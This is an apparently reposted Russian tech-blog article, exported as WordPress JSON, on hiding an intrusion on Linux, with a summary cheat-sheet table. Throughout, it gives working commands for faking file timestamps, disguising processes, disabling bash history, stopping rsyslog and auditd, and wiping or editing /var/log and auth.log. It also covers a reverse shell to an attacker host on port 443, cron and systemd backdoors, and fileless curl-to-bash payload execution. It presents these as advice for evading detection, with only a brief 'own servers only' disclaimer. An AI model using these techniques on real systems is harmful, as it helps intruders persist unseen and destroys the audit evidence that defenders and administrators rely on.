\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0432\u0441\u0435\u043c \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 &#8230;<\/p>\n<h3>1. \u041f\u043e\u0434\u0434\u0435\u043b\u043a\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u043e\u0432<\/h3>\n<p>\u0424\u0430\u0439\u043b\u044b \u043c\u043e\u0436\u043d\u043e \u00ab\u0441\u043e\u0441\u0442\u0430\u0440\u0438\u0442\u044c\u00bb \u0438\u043b\u0438 \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435.<\/p>\n<pre><code>touch -r \/bin\/ls test.sh   # \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0443 ls touch -t 202001011200.00 test.sh   # \u0432\u0440\u0435\u043c\u044f \u00ab\u0438\u0437 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u00bb<\/code><\/pre>\n<p>\u0422\u0430\u043a \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u044f\u0442\u044c\u0441\u044f \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043d\u043e\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432.<\/p>\n<h3>2. \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432<\/h3>\n<p>\u0412 Linux \u043b\u044e\u0431\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437\u00a0ps. \u041d\u043e \u0438 \u0442\u0443\u0442 \u0435\u0441\u0442\u044c \u0442\u0440\u044e\u043a\u0438:<\/p>\n<pre><code>exec -a \"[kworker\/0:1H]\" .\/script.sh<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u00ab\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\u00bb.<\/p>\n<p>\u0410 \u0435\u0449\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043c\u044f \u0447\u0435\u0440\u0435\u0437\u00a0\/proc:<\/p>\n<pre><code>echo \"httpd\" &gt; \/proc\/$$\/comm<\/code><\/pre>\n<h3>3. \u0420\u0430\u0431\u043e\u0442\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 Bash<\/h3>\n<p>\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0447\u0430\u0441\u0442\u043e \u0432\u044b\u0434\u0430\u0451\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0435\u0451:<\/p>\n<pre><code>HISTFILE=\/dev\/null unset HISTFILE set +o history<\/code><\/pre>\n<p>\u0418\u043b\u0438 \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435:<\/p>\n<pre><code>history -c &amp;&amp; history -w<\/code><\/pre>\n<h3>4. \u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f<\/h3>\n<p>\u0418\u043d\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0449\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043b\u043e\u0433\u0438:<\/p>\n<pre><code>service rsyslog stop    # \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 syslog auditctl -e 0           # \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u0430<\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0442\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0437\u0430\u043c\u0435\u0442\u043d\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e.<\/p>\n<h3>5. \u0410\u043b\u0438\u0430\u0441\u044b \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438<\/h3>\n<p>\u0410\u043b\u0438\u0430\u0441\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u00ab\u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c\u00bb \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/p>\n<pre><code>alias ls='ls --color=auto --hide=payload.sh'<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0442\u0432\u043e\u0439 \u0444\u0430\u0439\u043b \u043d\u0435 \u0432\u0438\u0434\u043d\u043e \u043f\u0440\u0438 \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u00a0ls.<\/p>\n<p>\u0410 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043b\u0438\u0430\u0441 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0441\u043b\u0435\u0434\u043e\u0432:<\/p>\n<pre><code>alias vanish='rm -rf ~\/.bash_history \/var\/log\/*'<\/code><\/pre>\n<h3>6. \u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/h3>\n<p>\u0424\u0430\u0439\u043b\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438, \u043d\u0435 \u0432\u0438\u0434\u043d\u044b \u0431\u0435\u0437\u00a0ls -a:<\/p>\n<pre><code>mv payload.sh .payload.sh<\/code><\/pre>\n<p>\u0418\u043b\u0438 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441:<\/p>\n<pre><code>mv script.sh systemd-update.sh<\/code><\/pre>\n<h3>7. \u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a<\/h3>\n<p>\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0448\u0435\u043b\u043b\u044b \u0447\u0430\u0441\u0442\u043e \u043f\u0430\u043b\u044f\u0442\u0441\u044f \u043f\u043e \u00ab\u043b\u0435\u0432\u044b\u043c\u00bb \u043f\u043e\u0440\u0442\u0430\u043c. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435:<\/p>\n<pre><code>bash -i &gt;&amp; \/dev\/tcp\/attacker\/443 0&gt;&amp;1<\/code><\/pre>\n<p>443 \u2014 \u043f\u043e\u0440\u0442 HTTPS, \u0438 \u0432 \u043b\u043e\u0433\u0430\u0445 \u043e\u043d \u043d\u0435 \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0439.<\/p>\n<h3>8. \u0427\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432<\/h3>\n<p>\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0441\u0435\u0431\u0435 \u043c\u043e\u0436\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code>&gt; \/var\/log\/auth.log sed -i '\/username\/d' \/var\/log\/auth.log<\/code><\/pre>\n<p>\u041d\u043e \u0440\u0435\u0437\u043a\u0430\u044f \u00ab\u0447\u0438\u0441\u0442\u043e\u0442\u0430\u00bb \u043b\u043e\u0433\u043e\u0432 \u0438\u043d\u043e\u0433\u0434\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0435\u0435, \u0447\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0435\u0434\u044b.<\/p>\n<h3>9. \u0421\u043a\u0440\u044b\u0442\u0430\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043a\u0430<\/h3>\n<p>\u041d\u0443\u0436\u0435\u043d \u0434\u043e\u0441\u0442\u0443\u043f \u00ab\u043d\u0430 \u043f\u043e\u0442\u043e\u043c\u00bb? \u041c\u043e\u0436\u043d\u043e \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 cron:<\/p>\n<pre><code>(crontab -l ; echo \"*\/5 * * * * \/usr\/local\/bin\/.sys-update.sh\") | crontab -<\/code><\/pre>\n<p>\u0418\u043b\u0438 \u043e\u0444\u043e\u0440\u043c\u0438\u0442\u044c \u043f\u043e\u0434 systemd-\u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<h3>10. \u0421\u043a\u0440\u0438\u043f\u0442\u044b \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432<\/h3>\n<p>\u041c\u043e\u0436\u043d\u043e \u0434\u0430\u0436\u0435 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0445 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e:<\/p>\n<pre><code>curl http:\/\/site\/payload.sh | bash<\/code><\/pre>\n<p>\u0422\u0430\u043a \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u043d\u0430 \u0434\u0438\u0441\u043a. \u0410 \u0435\u0441\u043b\u0438 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u2014 \u043b\u0443\u0447\u0448\u0435 \u0432\u00a0\/dev\/shm\u00a0\u0438\u043b\u0438\u00a0\/tmp, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0447\u0438\u0449\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435.<\/p>\n<p>\u0421\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0443\u0441\u043f\u0435\u0445\u0430. \u041c\u043e\u0436\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043d\u043e \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u044b, \u0442\u0435\u0431\u044f \u043b\u0435\u0433\u043a\u043e \u043d\u0430\u0439\u0434\u0443\u0442. \u042d\u0442\u0438 \u043f\u0440\u0438\u0451\u043c\u044b \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u0438 \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u043d\u0438\u0445.<\/p>\n<p><strong>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 <\/strong><\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">\u0428\u043f\u0430\u0440\u0433\u0430\u043b\u043a\u0430<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p><strong>\u041f\u0440\u0438\u0451\u043c<\/strong><\/p>\n<\/th>\n<th>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u043c\u0430\u043d\u0434\u044b<\/strong><\/p>\n<\/th>\n<th>\n<p><strong>\u0427\u0442\u043e \u044d\u0442\u043e \u0434\u0430\u0451\u0442<\/strong><\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041f\u043e\u0434\u0434\u0435\u043b\u043a\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u043e\u0432<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">touch -r \/bin\/ls <a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b \u043f\u043e\u0434 \u0441\u0442\u0430\u0440\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0424\u0430\u043b\u044c\u0448\u0438\u0432\u043e\u0435 \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">exec -a &#171;[kworker\/0:1H]&#187; .\/<a href=\"http:\/\/evil.sh\" rel=\"noopener noreferrer nofollow\">evil.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0412\u00a0ps\u00a0\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u0432 \/proc<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">echo &#171;httpd&#187; &gt; \/proc\/$$\/comm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043a\u0440\u0438\u043f\u0442 \u00ab\u043f\u0440\u0438\u0442\u0432\u043e\u0440\u044f\u0435\u0442\u0441\u044f\u00bb \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u044e Bash<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">HISTFILE=\/dev\/null; set +o history<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u00a0~\/.bash_history<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u044e<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">history -c &amp;&amp; history -w<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u0442\u0438\u0440\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">service rsyslog stop<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043b\u043e\u0433\u043e\u0432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0443\u0434\u0438\u0442<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">auditctl -e 0<\/p>\n<\/td>\n<td>\n<p align=\"left\">Linux Audit System \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u044f<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0410\u043b\u0438\u0430\u0441 \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">alias ls=&#8217;ls &#8212;hide=<a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a>&#8216;<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u0438\u0437 \u0432\u044b\u0432\u043e\u0434\u0430\u00a0ls<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0410\u043b\u0438\u0430\u0441 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">alias vanish=&#8217;rm -rf ~\/.bash_history \/var\/log\/*&#8217;<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0423\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0438 \u043b\u043e\u0433\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">mv <a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a> .<a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041d\u0435 \u0432\u0438\u0434\u0435\u043d \u0431\u0435\u0437\u00a0ls -a<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u043e\u0434 \u0441\u0435\u0440\u0432\u0438\u0441<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">mv <a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a> <a href=\"http:\/\/systemd-update.sh\" rel=\"noopener noreferrer nofollow\">systemd-update.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u043d\u0430 443 \u043f\u043e\u0440\u0442\u0443<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">bash -i &gt;&amp; \/dev\/tcp\/ip\/443 0&gt;&amp;1<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0422\u0440\u0430\u0444\u0438\u043a \u00ab\u043f\u0440\u044f\u0447\u0435\u0442\u0441\u044f\u00bb \u043f\u043e\u0434 HTTPS<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0447\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">sed -i &#8216;\/user\/d&#8217; \/var\/log\/auth.log<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0423\u0434\u0430\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041a\u0440\u043e\u043d-\u0431\u044d\u043a\u0434\u043e\u0440<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">`(crontab -l; echo \u201c*\/5 * * * * \/usr\/local\/bin\/.<a href=\"http:\/\/sys.sh\" rel=\"noopener noreferrer nofollow\">sys.sh<\/a>\u201d)<\/p>\n<\/td>\n<td>\n<p align=\"left\">crontab -`<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>Systemd-\u0431\u044d\u043a\u0434\u043e\u0440<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">ExecStart=\/usr\/local\/bin\/.<a href=\"http:\/\/update.sh\" rel=\"noopener noreferrer nofollow\">update.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043a\u0440\u0438\u043f\u0442 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u0441\u043b\u0443\u0436\u0431\u0443<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0417\u0430\u043f\u0443\u0441\u043a \u0431\u0435\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">`curl <a href=\"http:\/\/x\/payload.sh\" rel=\"noopener noreferrer nofollow\">http:\/\/x\/payload.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">bash`<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/942668\/\"> https:\/\/habr.com\/ru\/articles\/942668\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-472830","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/472830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=472830"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/472830\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=472830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=472830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=472830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}